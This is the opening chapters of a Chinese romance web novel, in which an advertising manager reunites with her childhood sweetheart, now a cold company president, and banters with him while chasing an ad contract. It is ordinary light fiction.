《祁总怎么成狗了》
1. 成狗了吗
《祁总怎么成狗了》
文/万般清
2026/2/28
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手机在床头柜上震响第三遍,向殊意缓缓睁开眼。
宿醉过后的早晨头痛欲裂。她没急着起,望着天花板缓了几秒,意识才慢慢归位。
昨晚没少喝酒。
但好在,广告拿下了。
昨晚包厢里烟气与酒意氤氲,大腹便便的男人们涨红着脸高谈阔论。耳朵快被吵聋,她还挂着得体的微笑。
为了广告,为了业绩,为了钱。
她能忍。
向殊意翻身下床,走到洗手台前。镜中的女人脸色有些苍白,但眉眼中有种淡淡的、睡不醒的秾丽,素面朝天也压不住的明艳。
冲澡,吹头发,化妆。顺滑地勾完眼线,手机又响了起来。
看见来电显示的“外婆”二字,向殊意紧绷了一早上的脸瞬间舒展开来。
她接通了电话,声音不自觉放软了:“外婆,这么早呀?”
电话那头是熟悉的老人带着口音的唠叨。问她吃没吃早饭,念叨她总熬夜,顺便骂她领导没人性,安排这么重的工作。
向殊意听着,目光落在窗外灰蒙蒙的天上,偶尔才很轻地“嗯”一声,当是回应。
“三个月,三个月能干么啦!天天喝酒哪么得行!”
她弯唇安慰:“没事儿,好着呢。我心里有数。”
“有数什么有数,你我还不知道,成天报喜不报忧的!”
外婆心疼得不行,急吼吼的语气也不怎么好。可向殊意却觉得心里一暖,连带着窗外暗色的天都好像明亮了些。
除了她,还有谁会真正关心自己呢。
老太太扯了半天,才终于回归正题,语气里是小心翼翼的期待:“意意,下个月,你回不回来呀?”
向殊意把手机按了免提,坐到书桌前,将日历翻到外婆生日那一页。
还有十五天。
其实她心里没什么底,却还是斩钉截铁地答:“回,当然回。您生日我一定在。”
外婆的笑声立刻透过听筒传来:“那就好,那就好。我就喜欢你过来。我好记得好多年以前我生日,你和小勉……”
没有任何防备,蓦然听见那个名字。
向殊意撕日历的手指一抖,却已经来不及了。
“刺啦”一声,纸张破裂的清脆声音响起。整张纸被撕成不规则的两半,裂口蜿蜒。
外婆还在絮絮说些旧事。她低头望了会儿,神色如常地将两半纸都扔进垃圾桶。
动作流畅,没半点停顿。
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收拾好妆容和衣服,向殊意踩上那双黑色红底细高跟,顺手拿了件黑西装外套披在肩头,推门走出去。
高跟鞋在公司瓷砖亮面上发出错落有致的声响,向殊意一路走到电梯门口,竟正好赶上了这一趟。
一大早上,一切顺利得过头。
向殊意双手抱臂盯着某个点,没注意后来涌进的员工们纷纷向一旁问好,又匆匆埋下头去。
“笑这么开怀,怎么,有好消息?”
一道浑厚的男声在身侧响起,听起来格外清晰。她回过神扭头望去,正是她部门的顶头上司。
向殊意弯唇笑了,语气轻松:“您说笑。开怀算不上,好消息呢更是一个也没有。”
包总只是客套,没想到她这么直白。他不自然地呵呵乐了两声:“你没问题,我信你。”
向殊意耸耸肩膀,毫不客气地应下这句信任。两人之间看上去当真一片和谐。
电梯门适时打开,她跟领导打了个招呼,从拥挤人群中传出来,终于没忍住拉平嘴角,恢复面无表情。
笑面虎。
这会儿知道说相信了?
前些天拍着桌子、吹胡子瞪眼嚷嚷着她必须拉来三倍投资否则滚蛋的人,不是他难道是鬼?
孙之颖远远便看见门口走近的向殊意,赶紧把屁股往后一挪,从椅子里弹起来,捧着一堆文件递到她手里,星星眼看她:
“姐,靠你了!”
向殊意低下头,瞟见A4纸抬头印着“启元集团”四个铅字,下面密密麻麻是对方公司的核心业务等信息。
她拿着文件坐进办公室,回想早晨孙之颖给她的最终总结:
启元集团不久前刚刚空降了一位新总裁,据说龟毛、挑剔、不近人情,最最最讨厌对方迟到,或放鸽子。
按照孙之颖的比喻,他的脾气堪比一块在雪地里被风干了的臭豆腐——
又冷、又硬、还臭。
别说联系他,就连跟人家公司前台都说不上三句话就会被一句“正在开会”给礼貌挂断,连借口都不屑于换样。
向殊意心知这是一场鏖战。她深吸一口气,决定单刀直入,亲自打一通电话再说。
话筒里响了几声,很快被接通,对面传来专业的女声:“您好,启元集团。”
向殊意握紧手中的圆珠笔:“您好,我是恒泽集团广告部主管向殊意。前天给贵司发过一条邮件,关于我们提及的……”
她话音未落,便听见对方出声打断了她:“不好意思……”
向殊意自知这次也是被拒绝的命,生出“果然如此”的想法。
她脱力地往后一靠,静静等待对方“正在开会”的四字箴言。
可对面的女声像是犹豫了下才问:“您刚刚是说……您是向殊意女士是吗?”
向殊意反应了一秒钟,迅速直起腰背,手肘撑上桌面,稳住声线:“对,我是。向殊意,方向的向。”
对面声音变得谨慎:“好的,请问有什么可以帮到您?”
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人站在饭局门口,向殊意仍然想不通,为什么一切进行得超乎寻常的顺利。
想必是命运之神知道她最近为业绩发愁,路过时随手挥一挥衣袖,照着她脑袋上抚了一把。
对此,她心安理得地接受了。
孙之颖跟在她身后边复盘边感叹:“向姐,有没有一种可能,你太出名了,所以人家虽然没见过面,但是对你
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有深刻印象?”
向殊意懒洋洋地扬眉:“我出名?我能有什么名头?”
孙之颖用肩膀撞她:“少自谦了啊,八面玲珑的美女主管,谁不知道你能力强,一身本领,没有拿不下的客户?”
向殊意不置可否,伸手推开包厢门。
酒局上灯光晃眼,一层层光晕给桌面覆上一圈朦胧,让人看不太真切。
圆桌上坐着三四个男人纷纷抬头望过来。可不知为何,像有磁铁吸附,向殊意偏偏一眼锁定了中间主座上坐着的那个低着头的男人。
男人一身深灰色西装,在头顶明亮吊灯照耀下显得质感非凡,显然是高级定制。穿在他身上,举手投足间尽显矜贵气质。
一只酒杯被他单手握住,指节分明。酒水在玻璃杯壁中摇摇晃晃,他也不喝,就这么漫不经心地把玩着。
嘴边扬起的笑容慢慢放平了,向殊意无意识松开门把手,发出一声细微声响。
男人闻声抬头。眉目冷硬,一身生人勿近气场。
她脚步一顿。
脑海中无数汹涌潮水再次无声涌回,强势地覆盖已经干透了的沙,再次带来一阵潮湿。
那个雨夜,那个少年略显青涩的眉眼,与眼前主座上沉稳矜贵的男人的脸重叠起来,拨动了她脑海里的那根线。
线上挂着的铃铛摇晃,“叮”的一声,唤醒了她。
是祁勉。
不欢而散七年后的重逢,她没想过会是这样的猝不及防。
向殊意脑袋混乱,不知道启元的空降总裁怎么会是他。
更不知道,她该用什么表情和姿态,来面对那双熟悉又陌生的眼。
好在,祁勉只是懒懒掀起眼皮看了她一眼,又缓缓垂下眼,像是不认识她一般。
场面几乎要凝滞时,一旁的经理起身招呼让她坐,好歹打破了这种诡异的氛围。
有人搭话,饭局勉强还算融洽,如果忽略主座上一言不发的男人的话。
向殊意眼见氛围到了,决定开门见山。她从包里取出一份文件,双手递到男人面前,“祁总,不耽误您时间,我也明人不说暗话。这是我们恒泽广告部给出的初步方案,希望您能过目后考虑一下。”
一番话说得滴水不漏,向殊意藏住眼底泛出的复杂情绪,声线平稳,真像在和素未谋面的客户谈生意。
祁勉手中晃荡的酒杯骤然停下。
他抬起眼看她一眼,却没有丝毫伸手接过的意思。
向殊意几不可察地微微眯眼,便看见他移开视线,瞥了眼身边坐着的助理。
助理领会了意思,连忙站起身来接过文件,朝向殊意礼貌笑笑。
被当场摆谱,向殊意内心毫无波澜,仍然能扬起得体的微笑。她刚要坐回座位,便听见低沉而疏离的嗓音从主座响起。
“不投。”
她怀疑自己耳朵出问题了,扭头看向他。
“创意陈旧。”
祁勉目光冷淡地扫过她的脸,言简意赅,一字一顿:“毫、无、长、进。”
2. 成狗了吗
果然如此。
这人一点没变。
她就知道。
本就一片寂静的包厢氛围更加降至冰点。向殊意将视线缓慢移向助理手中紧闭的文件夹。
演都不演了?
要真想刁难或者敷衍她,好歹也象征性翻开看看呢……
还没应对过这种情况,向殊意脑子飞速旋转,思考对策,却恰好瞥见他抬起手,以一个极其放松而隐蔽的姿态,揉了揉右耳耳垂。
一个再小不过的动作。
眼前这个西装革履的成熟身形再次虚化,叠加其上的,是那个在雨中手掌握紧又放、却始终别开脸不敢看她的单薄身影。
他在说谎或心虚时,会做出一模一样的小动作。
甚至,连指尖弯曲的弧度都分毫不差。
某个念头在电光石火间冒出,再成型。
本来一肚子的邪火瞬间被熄灭了,向殊意并不觉得憋屈,她垂下头,心里反倒忽然有点想笑。
好久不见。
小狗怎么装起大人来了?
认真回想起来,他们青梅竹马两小无猜的年少岁月过去后,两个人真的有很长时间没见面。
七年,已经足够他们各自成长了。
因此,即使在看见了他的熟悉的小动作以后,她还是不动声色地点点头:
“祁总为公司利益着想,深谋远虑,一时做出这个决定也属正常。不如这样,改日我亲自上门给您讲讲恒泽的……”
“那你想多了。”
祁勉不客气地打断她的话,把手中的玻璃酒杯往桌面一磕,发出一声脆响。
他姿态放松地往后一靠,微抬下颌,双腿交叠,姿态懒散又傲慢。
“单纯看你不顺眼,不想投而已。”
这话一说出口,不光是祁勉这边的助理和经理,向殊意身边垂头坐着的孙之颖也张大了嘴巴。
跟着向殊意四处拉广告这么些天,她还没见过这样的甲方。
孙之颖缓缓转头,视线落到怔愣的向殊意的侧脸。
她额头饱满,线条连着高而挺翘的鼻梁向下。长长卷卷的睫毛根根分明,脸颊拂上一小片乌黑光泽的鬈发,虚掩耳垂上坠着的珍珠耳钉。
向殊意这么漂亮。
还能有人看她不顺眼?
可向殊意像完全没感受到恶意一般,一本正经地回:“明白了。下次找您,我会戴口罩。”
“……”
祁勉顿了几秒,忽然眯起眼睛,缓缓吐出:“下次?”
“是啊,下次,”她理所当然地点点头,嘴角弯起无懈可击的弧度,“祁总,我还是希望争取一下。”
祁勉嗤笑:“我不见,你随意。”
向殊意笑得挺温柔:“好的,您也随意。”
“……”
祁勉目光凉凉地看了她一会儿,移开视线,端起酒杯放到唇边。
向殊意注意到他的动作,目光紧紧跟随着他,看他慢条斯理地喝下一口酒。
心里堵着的什么东西,好像一下子变得清明起来。
向殊意暗嘲自己多管闲事。
分开的那一年,他们十八岁。重逢的这一年,他们二十五岁。
两个人分开的时间,已经比并肩的时间还要长了。
时间在变,所有的一切也都会变。就像她,不也变成自己和别人都认不出来的样子了么。
向殊意铁了心不再管他。
可几分钟后。
她还是抬眼,目光聚焦在倒扣在桌面的手机上。
饭局很快就散了。向殊意打发孙之颖先回去,说自己要去一趟洗手间。
推开门,她背靠墙壁站在那儿,双手抱胸,伸出根手指随意绕着卷发。
眼前闪过高大的深灰色身影,看见她时脚步一顿,才径直走向洗手台拨开水龙头。
水柱哗哗地流,向殊意透过镜子看他。
祁勉变成熟了很多。
他不再顶着一头茶棕色卷毛,也不笑。肤色却是一如既往的白,唇色似乎更淡了些。
猝不及防地,本在认真洗手的男人突然抬起头。
两人的视线在宽大的镜面上汇聚成一个小点,无声地交锋着。
不知安静了多久,她看见他扬起一边唇角,似笑非笑道:“看够了?”
向殊意抿了下唇,若有似无地移开视线。
祁勉直起身,撕开一包一次性手巾,一根一根细致地擦干净手指。
垂眸时,视线范围内冒出一板白色小药片。
祁勉擦手的动作停了,目光落在药片上,看了两秒,然后,终于转脸,正式看向她。
“什么意思。”他声音有些沙。
“氯雷他定,”她声音平和,又认真看了他一眼,“虽然你看上去好像没事。”
“向主管很细心,还会随身带药,”祁勉没碰那板药,他极其短促地笑了声,“可惜,人是会变的。”
他随意把手巾甩到台面,往前走了一步,皮鞋的鞋尖几乎要碰上她的。
成熟的男性气息铺天盖地笼罩过来,将她整个人包裹住。
“你看,你现在很会喝酒了,而我……”
“我早就不酒精过敏了。”
向殊意眼睛里含笑,也不说话,就这么盯着他。直盯到祁勉准备转身离开时,才终于开口:
“药,是点的闪送。还有,我今天好像没喝酒,不知道你从哪里知道我会的。”
祁勉垂在身侧的手掌缓缓握紧了。
“拿着吧,脖子都红了,看着还……”向殊意叹了口气,扭头把药片轻放在台面,同他擦肩而过,“怪可怜的。”
说罢,她没有再看他的神色,转身走出了洗手间。
一路从新荣记大门走出来,迎面扑来一阵凉风,微烫的脸温度骤降,她被搅乱的脑袋清醒了些。
向殊意裹紧外套,缓缓吐出一口气。
等车的间隙,向殊意望着远方无尽的黑夜。很久没想起过的支离破碎的片段,完整补足到连贯。
那天头顶是漫天星光,泥土里弥漫出来的青草味道,明明是清新的、生机勃勃的。
她却只觉得空气中都带着难闻的潮湿的水气,惹得浑身粘腻。
十八岁的少年站在她家门口,单薄的背脊挺得很直,肩上扛着他引以为傲的意气风发,却在她面前低下头,发梢挂着屋檐外淋漓的雨滴。
他垂眸,很久才重新抬头看她。那双眼里,突然就暗淡下来。
瓢泼的雨中,他声音低沉,却难掩颤抖尾音:“早说清楚不就好了?”
少年心灰意冷转身想走,往外几步,又不甘心地回头。
“我只有一个请求。”
他双手紧攥,垂在身侧,盯着她目光灼灼,像要把她看穿个洞,开口时,声音却软化下来,像只落水小狗:
“向殊意,不要忘了我。”
-
第二天一大早,启元集团大堂休息区的单人沙发上。
向殊意捧着手机,目光紧紧盯着屏幕,面色严肃到好像在处理什么重要事务。
一分钟后,手机屏幕跳出一排“恭喜通关”的字样,向殊意松了口气。
顺利通关^^
她心情很好地点进下一关,把手肘搁在双膝上,远远望向紧闭的电梯门。
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她所在的单人沙发,是一个既能躲避暖风直吹,又能用余光瞄到电梯的绝佳的“株”。
至于那只兔子……
距离她在前台登记拜访祁勉,已经过去四十分钟了。
前台再一次打过内线,她完全知道。
或者说,这就是她的目的所在。
向殊意抬头,看着大厅里人来人往,无聊到给自己找事干,开始根据衣着和长相猜名字。
启元集团大厅内人流量很多,来来往往都在产出巨量二氧化碳。
向殊意撑着半边下巴,脑袋一点一点,眼睛已经开始半睁半闭。她勉强掀开半边眼皮,干脆盯着路过人们的鞋子。
并不开阔的视野里,突然出现了一双锃亮的皮鞋。
黑色,薄底,尖头皮鞋。
她的视线不自觉地跟着那双鞋挪动,又往上,瞥见鞋子上方一节被薄黑袜紧紧包裹住的骨感的脚踝。
向殊意困得脑子有点停摆,手掌里握着的手机屏幕上还停留在消消乐的页面。
她盯着那双皮鞋,脑子一动,竟瞬间蹦出了祁勉的名字。
昨晚在饭局上他冷冷投过来的目光、在深蓝文件夹上轻敲的指节,以及洗手间镜子前的那个对视……都清晰浮现在眼前。
真是疯了。
向殊意被自己荒谬的想法吓了一跳,连瞌睡都醒了几分。想要直起身来,撑着下巴的手臂却一个没撑稳,手肘在大腿上狠狠一滑,整个上半身往下倒去。
向殊意眼疾手快扶住面前的茶几桌面,心脏跳得快要飞出来。
她缓缓抚着胸口,第一反应便是装作淡定地环顾四周,看有没有人看见自己出糗。
这一扭头,穿过熙熙攘攘的几层人群,她看见不远处站着个男人。
他身材高大,肩膀肌肉线条流畅而宽阔。白衬衫下摆被整整齐齐塞进西装裤里,往下包裹一双笔直的长腿。
那男人此时正双手插兜,懒懒散散地站在那儿,身上那股子欠欠的劲,活像个老天爷赏饭吃的模特。
向殊意扬起眉。
兔子来了。
还一步一步朝她的方向走来。
四周往来的人群,在这一瞬间好像都被集体按下了静止键。她似乎听见了皮鞋踩在地板瓷砖上的细微声音,又疑心是幻觉。
某种强烈的欲望在脑海中萦绕,像是不断碰壁绕梁的余音。向殊意听从了第六感的安排,低头看去。
刚刚视野里的那双黑色薄底尖头皮鞋,如今正稳稳当当地套在祁勉的脚上。
向殊意抬起头,祁勉正居高临下地看她。
“困成这样还不肯走——”
祁勉像在嘲讽:“是觉得我会网开一面,还是真以为我和你一样闲?”
话音刚落,他目光稍移,突然瞥见了她手机屏幕上闪烁的游戏页面,脸上刚刚扬起的那点不明显的得意立刻消失得一干二净。
向殊意顺着他视线看过来,这才慌忙把手机按熄,却不慎触发了一个连环消除。
手机里立刻传来一声欢快的英文:
“excellent!”
向殊意:“……”
祁勉:“……”
她感觉到两人之间本就不融洽的氛围,这会儿更加降至冰点以下。
向殊意迅速按熄了屏幕,有些尴尬地抿唇,头顶传来他的一声冷笑反讽:
“是挺优秀。”
空气安静了两秒。
“谢谢夸奖,”向殊意抬起头,眨了眨眼,脸上是破罐子破摔的平静,“我也这么觉得。”
祁勉的嘴角几不可察地抽动一下,转身就走。
3. 成狗了吗
眼看这人身影越来越远,向殊意赶紧从沙发上起身跟在他身后,高跟鞋在地面敲击出急促的声响。
“祁总,上次说的项目相信您一定有所考虑,我这里有一个优化过后的方案,请您一定要相信我们恒泽是真心实意想……”
祁勉猛地刹住脚步。
向殊意也紧急顿住,鼻尖险些擦上他肩膀。
她抬起头,看见祁勉微眯着眼,重复她的话:“真心实意?”
“是。”向殊意果断点头。
祁勉往后退了一步,视线在她脸上流连:“那你口罩呢?”
向殊意:?
她刚要疑惑,昨晚的回忆便突然浮上脑海。
-单纯看你不顺眼,不想投而已。
-明白了。下次找您,我会戴口罩。
祁勉眉目舒展,一副安静看好戏的模样。
然后,向殊意当着他的面,从包里摸出一只独立包装的口罩,撕开,戴上。
口罩上方,露出一双漂亮而狡黠的眼睛。
祁勉盯着她闪着生动神色的眼睛,喉结轻滚,眼神飘忽。
恰逢陈特助快步走到他身边:“祁总,车来了。”
祁勉果断转身,大步流星往外走。
向殊意一把拽掉脸上口罩,还得顾及脚上的细高跟,小跑着也跟不上他。
下一秒。
“嘶——”
前面的祁勉果然立刻停下来,猛地转过身去。
向殊意微微俯身,雪白的手扶在裸.露在外的脚踝上,细得仿佛轻轻一折就会断。
微风拂过,向殊意飘扬的长发随着弓身的动作从肩背上往前溜,遮盖住大半边脸,看不清她神色。
祁勉眉头瞬间皱紧,几个大步跨到她面前,语气硬邦邦的:“多大人了,平地还能摔?”
听见身前传来的声音,向殊意缓缓抬头,一张白净的小脸从浓密黑发中出现。红唇微张,眼尾向上挑,明艳得让人心惊。
祁勉伸手去扶的动作停在空中,心里冒出某种猜测。
向殊意果然轻叹了口气。她伸手按在胸前直起身,动作干脆地把黑发往肩后拨,拂起一阵馥郁的玫瑰香气。
“你今年多大了,我就多大了,”她直勾勾盯着他双眼,扬起唇角,尾音像藏了只钩子,“不是还想装不熟?”
祁勉没搭话,只是不太信任地低头瞧她脚踝。
向殊意脚尖点地,当着他的面扭扭脚踝,证明自己只是装的而已。
“向殊意,”祁勉紧皱的眉头终于舒展开来,又忍不住骂,“你有毛病?”
向殊意一脸惊诧:“怎么还人身攻击。”
祁勉深深看她一眼,不动神色地把伸出去的手收回来,松了松领口环着的黑色领带,才重新插兜。
“合同还没签,谁是你甲方?”
向殊意凭借自己对祁勉的了解,敏锐察觉这是他松口的迹象。
她动作麻利地从包里摸出文件夹递给他:“你说巧不巧,正好我带了合同,祁总。”
祁勉垂眸看了眼,又抬眼看她,存心要看她还能有什么招数:“笔呢?”
向殊意喜出望外地从包里摸出一只黑笔。
祁勉接过,随手在手指上转了几圈,朝她扬起眉,缓缓吐出四个字:“我要蓝的。”
蓝你大爷。
向殊意嘴角的笑容一顿,咬牙切齿地点头:“没问题。”
好在她早有预料,真的递过去一支蓝笔。
祁勉瞄了她一眼,拆开笔盖,果断翻到合同最后一页。
“是签这儿?”
他用笔末端敲了敲,向殊意凑过去看了眼,频频点头:“对,签名字就行。”
听见笔尖划过纸张、笔盖合上的声响,她抬头,祁勉朝她勾起唇角:
“合作愉快。期望你们拿出点诚意来。”
祁勉抬手,连文件带笔塞进她怀中,转身时却抬手,在向殊意目不转睛的注视之下……
捏了捏耳垂。
祁勉已经钻进车里扬长而去,他笑容中浮现出的许久未见的恶劣与鲜活,让向殊意一时晃了神。
她目送他的车离去很远,才心情复杂地翻开怀中的文件夹。
总这么揣测他,误解他,真是太不应该。
祁勉真的变了很多。
虽然依旧喜欢小打小闹捉弄人,但在大事情上,还是能分得清楚好赖的。
她心怀感激地想,自己一定要给启元争取到最优待的合作条件——
最后一页翻开,向殊意手指一顿,目光聚焦在纸张下方。
签名处,两个潇洒的蓝色字迹飞扬其上:
名字。
向殊意:“……”
看来她骂得还是不够狠。
《礼记》有云:士可杀,不可辱。
向殊意觉得祁勉想要找茬,完全可以再故意晾自己几天,大不了她再多打几局消消乐而已。
但这样是不是有点太过分了?
那张签了“名字”的纸在部门被反复传阅,并在各个角落随机触发一声惊天爆笑。
向殊意已经没脾气了。
没所谓。
难搞的甲方多了去了,她向殊意难道会怕他这么个幼稚鬼?
不管怎么样,不能让到手的钱飞了。
更不能,让那口气白受了。
向殊意有了新主意。
又一次晨会开完,祁勉从会议室出来走进办公室,瘫在办公椅上,一只手搁在额前闭目养神。
脑袋里清一色的枯燥的工作和合同之间,突然冒出了向殊意的身影。
想起那天在公司大门口签下的“名字”,他没忍住轻笑出声。
不知道她发现以后,会不会突然炸毛呢。
像发怒的小猫一样。
他又意识到什么,缓缓睁开眼睛,从口袋里摸出手机。
距离那天“签合同”,已经过去整整三天了。
向殊意三天没有任何动静。
他刚刚还在回味时的得意瞬间无影无踪。
正巧门被敲响,祁勉心情不太美妙地应:“进。”
陈特助从门外走进来,手里捧着一只包装精美的礼盒。
祁勉瞟了一眼,声音沉沉:“什么玩意。”
陈特助解释:“啊,前台说有位女士送来的,她说很重要,一定要送到您手上。”
“丢了。”祁勉凉凉地瞥他,语气生硬。
陈特助一愣:“可是这个上面写了个‘向’……”
刚要脱口而出的“啰嗦”二字被他硬生生吞回肚子里。
祁勉蹭蹭耳垂,瞥他一眼。陈特助低头看盒子,没注意。
祁勉只好清清嗓子,语气不大自然:“……拿来。”
盒子不大,被一张暗灰色卡纸包住,又系上丝带。外包装纸上写了个“向”字,蓝色笔。
祁勉看着那蓝色笔迹,知道她还记着那一茬。
他小心翼翼拆开包装,将完好无损的包装纸折好,才郑重其事地打开礼物盒盖。
盒子正中央,安静躺着一个纯黑色保温杯。
祁勉动作放轻了些,把杯子取出来握在手中。杯子有点重量,做工和质感都很好。
他瞥了眼桌面上刚刚打好的冰咖啡,果断伸手将它挪到角落,把保温杯放上去。
盒子里塞了些拉菲草,他伸手拨开,看见一张卡片,卡片上潇洒写着几行字:
男人过了二十五就如同四十五。
年纪大了。
多喝热水^^
果然。
他就不该对这女人寄予什么好的希望。
祁勉冷笑一声,把卡纸埋进满盒的拉菲草里直到看不见,又将目光移到保温杯上。
盯了三秒,他果断伸手将杯子塞进盒中,盖上盒盖,单手拎着盒子,干脆利落地往办公桌下一抛。
“砰”的一声,动静很大,在空旷的办公室里甚至能听见微弱的回声。
他祁勉堂堂一个集团总裁,要什么东西没有?
他缺她一个保温杯?
还是嘲讽年龄版。
三十分钟后,启元大会议室里。
祁勉坐在长桌尽头听动作汇报,面无表情地端
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起手边的黑色保温杯,仰头喝了口热水。
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连续工作很多天,这个周末向殊意决定给自己放个假。
正巧朋友赵吟给她发来信息,说自己策划的画展在这周末举办,地点就在本地不远的位置。
向殊意大学是在榆市读的,因为找工作才来了北市,在这里的朋友并不多,赵吟算为数不多的其中一个。
她处理不好友情,太近了不自在,太远了不熟悉。她想自己可能不适合交朋友,故而和所有人都保持不近不远不交心的联系。
赵吟是唯一一个,在发现她对待友情的态度后,仍然愿意和她交朋友的朋友。
对此,向殊意很感激。
因此在赵吟发来邀请的时候,她想都没想就同意了:【你放心,我一定来给你撑场子】
赵吟很快回了个“亲亲”的表情。
周末,向殊意如约来到画展,远远便在门口看见熟悉的身影。
她笑着朝她招手:“赵吟!”
赵吟转头看见她,很惊喜地下了台阶走到她面前,抓住她的手:“殊意,真的好久不见!”
两个人在门口热络地聊了几句,远处有人喊赵吟名字。赵吟朝她眨眨眼:“宝贝,今天有大老板来,我得赶紧去了,你先随便逛逛啊。”
向殊意为她高兴:“你快去吧。”
赵吟转身走了几步,想起什么又回头,挽住她胳膊把她往会展里扯:“你跟我一道去。”
向殊意惊诧地瞪圆眼睛:“我去干嘛?”
赵吟停下动作看她:“你以为你能瞒得住我?最近忙广告呢吧?走呀,好不容易来了个大佬,结交一下人脉又不亏,走走走。”
向殊意一脸懵地被拽走,赵吟还不忘在她耳边碎碎念:“别愣着,把你名片拿出来,一会儿我给你俩创造机会,你抓紧递名片。”
画展举办第一天,参观的人不少。向殊意一面被拉着走,一面还有心思走马观花一下周围:“你审美可以啊。”
“开玩笑,”赵吟很直率地笑了声,“我是谁!”
向殊意远远看见前面某幅画作前聚集了一圈人,各个都是西装革履,把小小一方空地围得密不透风。
赵吟拉着她手腕往密集的人群走去,转头朝她使眼色,让她准备好名片。
向殊意扬起唇,轻轻点点头。
“欢迎祁总大驾光临!您要是对哪副画作感兴趣,我安排人来给您讲解……”
向殊意还没来得及思考赵吟说的是哪个“祁”字,便看见面前黑压压的人群自动让开了一个缺口。
站在最里边的男人同样身着全套黑西装,却因为周身散发出的不可忽略的威压,身处其中却如同鹤立鸡群。
他缓缓转过身,向殊意看清了他的脸,刚刚才牵起的嘴角顿住。
赵吟笑吟吟地转头看她,却在朝她疯狂使眼色。
老总转头看你了!
刚刚才苦口婆心跟你说的人脉人脉,快打招呼啊!
向殊意余光中看见赵吟挤眉弄眼,又抬头看了眼面前好整以暇的男人,终于还是向前一步,朝他伸出手掌。
“欢迎祁总,我是赵吟的朋友,我叫……”
她顿了顿,一字一句说:“我叫向殊意。”
祁勉像是终于如愿见她吃瘪,嘴边噙着笑,心情很好地向前一步,握住她的手。
柔软白净的手蓦然被他包裹住,手心不可忽略的暖意传来。向殊意心里狠狠一颤,忽而听见他胸腔中发出一声闷笑。
“赵吟小姐,你刚刚说可以安排人讲解?”
“啊……对!”赵吟艰难地控制好八卦的神情,将视线从他们仍然交握着的双手移到他的脸。
向殊意心中有种不祥的预感。
她后退一步,准备跑路,祁勉却像是早有预料。
他宽大的手掌稍一用力,便将她即将挣脱的手牢牢握紧,小幅度地往怀里一带。
向殊意脚下没站稳,往前挪了一步,差点一头栽进他胸膛里。
她心跳不稳,听见头顶传来男人含笑的声音:
“就她了。”
4. 成狗了吗
大意,大意了!
向殊意双手抱臂跟在祁勉身后,抬起眼幽怨地看了眼他高大的背影。
刚刚和赵吟在门口闲聊,怎么就没想起来问问这老板是谁呢!
他一个集团总裁,不好好工作,来画展瞎凑什么热闹?
还有赵吟这家伙,关键时刻说跑就跑,竟然还真敢让她做讲解!
她就一个拉广告的牛马,懂什么画和艺术?
祁勉在一副画作前停下脚步。
向殊意暂停了腹诽,也随之停下。
她站在他身侧一米左右的位置,随意浏览了下画作,发现看不懂什么奥秘,不知不觉就将视线挪动到看画的男人身上。
他双手插兜,姿态放松,神情却很专注。短发梳成三七分,打了发胶固定,额前落下几缕碎发,轻扫在高挺的眉骨上方。
再往下,鼻梁很高,嘴唇微抿,眼睛盯着面前的画作,上身微微前倾,像是在观察画作细节。
不得不说。
祁勉人是讨人嫌了点。
长得还是没话说的。
向殊意正在神游,直到祁勉慢悠悠地转过头,目光撞进她眼睛。
她瞳孔骤缩,赶紧移开。
祁勉却像是没看见,又盯了她一会儿,才偏头朝面前的画扬扬下颌:“解说一下?”
解说,解说个头啊!
明明知道她一窍不通!
向殊意刚想说些什么,看见他促狭的神色后,又硬生生吞了回去。
她挺起胸脯向前一步,硬着头皮解说:“这幅画是一幅……画,是作者用笔画出来的。它呢用了红黄蓝等等很多颜料混合而成,体现了作者对……对……”
向殊意往画作旁边的名牌上瞟了一眼,底气不太足:“对自己,怀才不遇的,悲恸……”
话音未落,头顶传来一声轻笑。
“向殊意,你做小学语文阅读理解呢?”
向殊意觉得自己遭受了极大的侮辱。她绞尽脑汁,硬着脖子回了一句:“你放屁吧,再怎么也是初中语文!”
“这有区别?”
“当然有区别!”
祁勉嗤笑:“还怀才不遇,这画分明叫乡间小路,再怎么也该是思乡之情。”
向殊意凑近名牌看了眼,底气回归:“你少来,明明叫乡间小径!”
两个人无端地争论一阵,向殊意才突然意识到自己在做什么愚蠢的事。
都怪这人。
把她也给带幼稚了。
她往后退了一步,偏过头,一副坚决不再理会他的模样。
祁勉等了半天没等到争论,回头才看见她绷得很紧的小脸。
他不做声了,往前走了几步,没忍住转头轻声问:“生气了?”
向殊意像看神经病一样看他:“语气别这么奇怪行不行?”
“没生气就行。”
祁勉放下心来,又往前走了几步。
两人又沉默着往前走过几幅画,向殊意想打破沉默,主动开口:“你不好好上班,来逛什么画展?”
祁勉放慢了脚步同她并肩,沉吟了一会儿,才漫不经心地回:“来消费,带动一下本地经济。”
向殊意想起赵吟说的“大老板”,发觉他在这里买走每一幅画付的钱,好像都会算作赵吟的收入!
向殊意瞬间鼓起些动力,扭头问他:“那你看中了什么画了?”
祁勉低头,从她亮晶晶的眼神里看出了一丝不属于她的……
谄媚。
他垂头,有点想笑,但忍住了,“我确实有看中一幅画。”
向殊意眼前一亮,追问:“叫什么名?”
“叫,山间小……”
他顿住,挑衅一般盯着她眼睛,接上:“路。”
向殊意看了他一会儿,忽然笑起来,笑得很官方:“其实吧,乡间小路也还挺好听的。”
祁勉轻笑:“见钱眼开。”
祁勉抬脚往前继续走,步伐却很慢。向殊意追上他:“没有的事,只是一种艺术上的融会贯通和认可。”
“你呢?”
“什么?”
“你喜欢哪幅?”
向殊意抬起头,祁勉却没有看她,在看画。
她没有立刻回答,而是凑近了些,直截了当问:“什么意思?我喜欢的话,你会买给我?”
他们的距离骤然缩小,祁勉低下头,能看见她发顶中央的那枚小旋。
她发丝里的香气尽数钻进他鼻腔中,是玫瑰香气。
祁勉不动声色地后退一步,“嗯。”
向殊意抬起眼看他,双眼放光:“限量吗?”
祁勉还没回答,便听见她说:“不限量的话,这里的画我都还挺喜欢。”
钱难挣,屎难吃。
向殊意再次在心里头复述这句话,努力扬起笑抬头望他。
谁知这人像是根本不屑于看她似的,把头一偏,抬脚就走:“行,你喜欢的话……”
她闻言已经开始想该怎么好好敲赵吟一笔,便看见他转头,冲她挑挑眉梢:“我正好就都不买了。”
向殊意气笑了。
她不死心地追上前试探:“那我的广告……”
“那更是想得美。”
“……”
祁勉没待多久就离开了,向殊意满心惭愧,觉得自己愧对赵吟的厚望。
既没有给她推销出一幅画,更没有让自己结交到这个“人脉”。
可赵吟却突然从背后跳出来,一把揽住她脖颈,语气很欣喜:“向殊意,你招财树呢吧?你跟人老板解说什么啦?”
